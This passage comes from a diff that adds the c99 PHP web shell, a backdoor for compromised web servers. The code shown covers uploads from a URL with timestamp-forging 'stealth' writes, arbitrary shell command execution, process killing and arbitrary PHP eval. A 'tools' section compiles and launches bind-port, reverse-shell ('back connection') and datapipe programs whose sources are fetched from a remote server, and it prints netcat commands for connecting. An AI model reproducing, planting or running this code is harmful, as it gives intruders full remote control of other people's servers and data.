(!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== false) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + //Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 0; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 0; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c99sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c99sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode(" ",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if 